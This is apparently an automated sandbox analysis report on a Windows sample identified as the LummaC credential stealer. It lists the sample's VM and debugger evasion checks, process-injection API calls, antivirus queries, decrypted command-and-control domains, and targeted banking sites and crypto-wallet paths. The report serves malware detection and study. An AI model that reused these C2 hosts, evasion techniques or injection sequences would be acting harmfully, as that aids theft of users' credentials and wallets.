Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: file.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: file.exe

Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BA6390 push eax; ret	0_2_00BA66C2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BC124A push ecx; ret	0_2_00BC125D
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_0044AEB8 push ecx; ret	3_2_0044AEB9
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00BC124A push ecx; ret	3_2_00BC125D
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00BA6390 push eax; ret	3_2_00BA66C2

Source: file.exe

Static PE information: section name: .text entropy: 7.0240622903518135

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00BC15DC GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00BC15DC

Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

API coverage: 10.0 %

Source: C:\Users\user\Desktop\file.exe TID: 1776	Thread sleep time: -150000s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5652	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BD55BC FindFirstFileExW,	0_2_00BD55BC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BD566D FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_00BD566D
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00BD55BC FindFirstFileExW,	3_2_00BD55BC
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00BD566D FindFirstFileExW,FindNextFileW,FindClose,FindClose,	3_2_00BD566D

Source: Amcache.hve.6.dr	Binary or memory string: VMware
Source: file.exe, 00000003.00000003.2118424044.00000000038A9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: file.exe, 00000003.00000003.2118424044.00000000038A9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: file.exe, 00000003.00000003.2118357083.00000000038B6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: file.exe, 00000003.00000003.2118424044.00000000038A9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: Amcache.hve.6.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: file.exe, 00000003.00000002.2192697514.0000000001316000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000003.00000003.2118424044.00000000038A9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: Amcache.hve.6.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: file.exe, 00000003.00000003.2118424044.00000000038A9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: Amcache.hve.6.dr	Binary or memory string: vmci.sys
Source: file.exe, 00000003.00000003.2118424044.00000000038A9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: file.exe, 00000003.00000003.2118424044.00000000038A9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: file.exe, 00000003.00000003.2118424044.00000000038A9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: file.exe, 00000003.00000003.2118424044.00000000038A9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: file.exe, 00000003.00000003.2118424044.00000000038A9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: file.exe, 00000003.00000003.2118357083.00000000038B6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: Amcache.hve.6.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.6.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.6.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: file.exe, 00000003.00000003.2118424044.00000000038A9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: Amcache.hve.6.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.6.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.6.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.6.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.6.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: file.exe, 00000003.00000003.2118424044.00000000038A9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000003.00000003.2118424044.00000000038A9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: Amcache.hve.6.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: file.exe, 00000003.00000003.2118424044.00000000038A9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.6.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.6.dr	Binary or memory string: VMware, Inc.
Source: file.exe, 00000003.00000003.2118424044.00000000038A9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: Amcache.hve.6.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.6.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.6.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: file.exe, 00000003.00000003.2118424044.00000000038A9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: Amcache.hve.6.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: file.exe, 00000003.00000003.2118424044.00000000038A9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: file.exe, 00000003.00000003.2118424044.00000000038A9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: file.exe, 00000003.00000003.2118424044.00000000038A9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: file.exe, 00000003.00000003.2118424044.00000000038A9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: Amcache.hve.6.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: file.exe, 00000003.00000003.2118424044.00000000038A9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: file.exe, 00000003.00000003.2118424044.00000000038A9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: file.exe, 00000003.00000003.2118424044.00000000038A9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: Amcache.hve.6.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: file.exe, 00000003.00000003.2118424044.00000000038A9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: file.exe, 00000003.00000003.2118424044.00000000038A9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: file.exe, 00000003.00000003.2118424044.00000000038A9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: file.exe, 00000003.00000003.2118424044.00000000038A9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: Amcache.hve.6.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.6.dr	Binary or memory string: vmci.syshbin`
Source: file.exe, 00000003.00000003.2118424044.00000000038A9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: Amcache.hve.6.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: file.exe, 00000003.00000003.2118424044.00000000038A9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: Amcache.hve.6.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: file.exe, 00000003.00000003.2118424044.00000000038A9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: Amcache.hve.6.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: file.exe, 00000003.00000002.2192697514.00000000012EC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@
Source: file.exe, 00000003.00000003.2118424044.00000000038A9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 3_2_00440D90 LdrInitializeThunk,

3_2_00440D90

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00BCA37A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00BCA37A

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BEE1B4 mov edi, dword ptr fs:[00000030h]	0_2_00BEE1B4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BA6390 mov edi, dword ptr fs:[00000030h]	0_2_00BA6390
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00BA6390 mov edi, dword ptr fs:[00000030h]	3_2_00BA6390

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00BD1074 GetProcessHeap,

0_2_00BD1074

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BCA37A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00BCA37A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BC0CBB SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00BC0CBB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BC0D3E IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00BC0D3E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BC0D32 SetUnhandledExceptionFilter,	0_2_00BC0D32
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00BCA37A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_00BCA37A
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00BC0CBB SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_00BC0CBB
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00BC0D3E IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_00BC0D3E
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00BC0D32 SetUnhandledExceptionFilter,	3_2_00BC0D32

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00BEE1B4 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessW,CreateProcessW,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

0_2_00BEE1B4

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\file.exe

Memory written: C:\Users\user\Desktop\file.exe base: 400000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: file.exe, 00000000.00000002.2279638953.0000000001183000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: servicedny.site
Source: file.exe, 00000000.00000002.2279638953.0000000001183000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: authorisev.site
Source: file.exe, 00000000.00000002.2279638953.0000000001183000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: faulteyotk.site
Source: file.exe, 00000000.00000002.2279638953.0000000001183000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: dilemmadu.site
Source: file.exe, 00000000.00000002.2279638953.0000000001183000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: contemteny.site
Source: file.exe, 00000000.00000002.2279638953.0000000001183000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: goalyfeastz.site
Source: file.exe, 00000000.00000002.2279638953.0000000001183000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: opposezmny.site
Source: file.exe, 00000000.00000002.2279638953.0000000001183000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: seallysl.site
Source: file.exe, 00000000.00000002.2279638953.0000000001183000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: forbidstow.site

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00BC0EAF cpuid

0_2_00BC0EAF

Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_00BD508B
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,	0_2_00BD5191
Source: C:\Users\user\Desktop\file.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_00BD4926
Source: C:\Users\user\Desktop\file.exe	Code function: EnumSystemLocalesW,	0_2_00BD095F
Source: C:\Users\user\Desktop\file.exe	Code function: EnumSystemLocalesW,	0_2_00BD4B77
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_00BD4C12
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,	0_2_00BD0464
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,	0_2_00BD4EC4
Source: C:\Users\user\Desktop\file.exe	Code function: EnumSystemLocalesW,	0_2_00BD4E65
Source: C:\Users\user\Desktop\file.exe	Code function: EnumSystemLocalesW,	0_2_00BD4F99
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,	0_2_00BD4FE4
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	3_2_00BD508B
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,	3_2_00BD5191
Source: C:\Users\user\Desktop\file.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	3_2_00BD4926
Source: C:\Users\user\Desktop\file.exe	Code function: EnumSystemLocalesW,	3_2_00BD095F
Source: C:\Users\user\Desktop\file.exe	Code function: EnumSystemLocalesW,	3_2_00BD4B77
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	3_2_00BD4C12
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,	3_2_00BD0464
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,	3_2_00BD4EC4
Source: C:\Users\user\Desktop\file.exe	Code function: EnumSystemLocalesW,	3_2_00BD4E65
Source: C:\Users\user\Desktop\file.exe	Code function: EnumSystemLocalesW,	3_2_00BD4F99
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,	3_2_00BD4FE4

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00BC1C97 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00BC1C97

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.6.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: file.exe, 00000003.00000002.2192697514.00000000012FD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000003.00000002.2193225494.0000000003860000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000003.00000002.2192697514.0000000001316000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: MsMpEng.exe

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: file.exe PID: 4088, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000003.00000003.2118733198.0000000001379000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum-LTC
Source: file.exe, 00000003.00000003.2118733198.0000000001379000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: file.exe, 00000003.00000003.2118075950.000000000138D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxx Liberty
Source: file.exe, 00000003.00000003.2118733198.0000000001379000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: file.exe, 00000003.00000003.2165330724.0000000001391000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Exodus
Source: file.exe, 00000003.00000002.2192697514.0000000001316000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: file.exe, 00000003.00000003.2118733198.0000000001379000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
